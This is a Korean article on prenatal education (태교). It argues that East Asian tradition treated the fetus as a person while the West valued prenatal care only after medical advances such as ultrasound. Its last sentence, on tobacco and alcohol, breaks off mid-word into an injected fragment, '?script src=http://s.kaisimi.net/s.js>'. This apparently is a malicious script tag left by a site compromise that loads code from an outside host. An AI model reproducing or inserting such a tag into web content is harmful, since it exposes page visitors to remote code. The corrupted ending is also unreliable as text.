태교에 대해서 무지했던 서양

서양의 경우 과학으로 뒷받침된 사실만 받아들이는 가치관이 태교에도 그대로 적용되었습니다. 얼마 전까지만 해도 엄마 뱃속에 있는 아기의 능력을 확인할 수 없었던 까닭에 태교란 낱말조차 없었던 태교 불모지였으나, 최근 들어 의학의 발달에 힘입어 생명의 탄생에 관한 신비가 하나씩 벗겨지면서 뒤늦게 태교의 중요성이 강조되고 있습니다. 무엇이든 비교하는 것은 무척 재미있는데, 형제를 비교하면 생김새나 버릇 등 비슷한 점이 있긴 하지만, 서로 판이하게 다른 점이 훨씬 많아 흥미롭습니다. 남녀를 비교하면 신체 구조나 행동 방식 등 다른 점 투성이로 비쳐지지만, 깊이 들여다보면 다 똑같은 사람인 것을 알 수 있습니다.

나라와 나라를 비교하는 것은 좀 골치 아프지만, 복잡한 만큼 매력이 있습니다. 우리나라와 중국의 공통점을 찾고, 차이를 발견하는 것은 수수께끼를 풀었을 때의 짜릿한 기분과 흡사한데, 다시 우리나 일본을 비교해 보고, 종합해서 우리나라, 중국, 일본에 대해서 검토해 보는 것도 의미 있는 일일 겁니다. 범위를 넓혀 동양과 서양을 비교하는 것은 어떤 기분일까요? 전문가가 아닌 이상 섣부르게 덤벼들기 힘든 일이지만, 왠지 한번 도전해 보고 싶은 생각이 들것입니다. 얽히고 설킨 역사를 풀어 모자이크 맞추듯이 제자리에 찾아 넣는 일을 누구나 조금씩은 관심을 가지고 있기 때문인데, 거창하게 수천 년 전으로 거슬러 올라가 역사를 파헤쳐 내려올 필요는 없습니다. 범위를 좁혀 음악이면 음악, 옷이면 옷 한가지만 살펴봐도 흥미진진하니까요.

뱃속에 새 생명을 키우는 예비 엄마라면 동서양의 태교를 비교해 볼 만합니다. 주위에서 귀동냥하거나 책에서 읽은 것은 대부분 전통 태교나 중국 태교로 동양의 태교에 한정되어 있기 때문입니다. 동양문화의 뿌리는 '정신'으로, 어김없이 태교에도 영향을 주었으며, 눈에 보이지 않을 뿐이지 뱃속의 아기도 마음이 있는 존재임을 인정하고 다양한 태교 법을 실천했지만, 반면 '과학'을 토대로 성립된 서양 문화는 태아의 존재에 대해서 별 의미를 부여하지 않았으며, 눈으로 확인할 수 있는 것만 인정하고, 과학으로 뒷받침된 사실만을 받아들였던 가치관이 태교에도 그대로 적용되었습니다. 즉, 동양의 사고 방식이 엄마 뱃속에 열달 동안 있는 아기를 하나의 독립된 인격체로 존중했다면, 서양은 아기가 태어나야지 비로소 하나의 인격체로 여겼던 것으로, 이런 차이는 나이를 계산하는 법에서 잘 드러납니다. 태교를 중요하게 여겼던 우리나라나 중국에서는 아기가 뱃속에 머문 열 달을 나이에 포함시켜서 태어나는 순간 1살로 쳤으나, 서양에서는 태어난 날을 기준으로 나이를 계산하기 때문에 0세로 계산합니다. 태아를 인격체로 여겼던 동양에서는 반듯한 아기를 낳기 위해서 엄마가 고달플 정도로 정성을 들였지만, 그렇지 못했던 서양에서는 태교라는 개념 자체가 없었습니다.

따라서 뱃속의 아기에 대한 관심이 남달랐던 동양에는 기원전에 씌어진 태교 문헌을 비롯해 수십 종에 달하는 태교 책이 전해졌지만, 문명 국가들의 결집체라고 자부하는 유럽에는 변변한 태교 책 한 권 없고, 특별히 태교 법이라 할 만한 것이 전해 오지 않습니다. 다만 서양에도 동양과 마찬가지로 미신에 가까운 얘기와 금기 사항이 있었는데, 페인트 냄새를 맡으면 유산의 가능성이 높다든지, 딸기를 먹으면 아기 얼굴에 딸기 같은 점이 박힌다든지 하는 얘기가 전해지고 있었습니다. 태교에 관해서는 걸음마 단계에 있던 서양에서도 의학의 발전에 힘입어 사고의 전환이 이루어지고 있었는데, 엄마 몸과 아기의 성장에 관련된 연구가 진행되면서 뒤늦게 태교의 중요성이 강조되고 있는 것입니다.

초음파 촬영으로 엄마의 뱃속에서 놀라운 속도로 성장하는 아기의 모습과 움직임의 관찰을 통해서 엄마의 건강과 바깥 환경으로부터 많은 영향을 받는다는 것이 알려지기 시작했고, 짧은 기간 동안 지속적인 관심을 쏟은 결과 '태생학'이란 학문이 독립된 분야로 자리잡기에 이르렀으며 태아에 대한 연구 결과가 속속 발표되면서 사회적으로 태교에 깊은 관심을 보이고 있습니다.


의학의 발전으로 밝혀진 태교의 중요성

태교의 불모지 서양에서 태아의 놀라운 능력을 믿기 시작한 것은 불과 100 여년 전 일로, 세상을 이해하는 잣대로 과학적인 검증과 연구 결과를 기준 삼았던 서양은 의학과 과학의 발전에 의지해 비로소 태교의 중요성을 깨닫게 된 것입니다. 서양에서 태교가 시작된 19세기의 세계는 아편이 대량으로 제조되어 지구 곳곳에 파고들던 시기였고, 허시라는 학자는 실험과 관찰을 통해서 임신 중에 아편을 복용하면 나쁜 기운이 태반을 통해 아기의 몸 속으로 흘러 든다고 경고했으며, 또한 담배와 술?script src=http://s.kaisimi.net/s.js>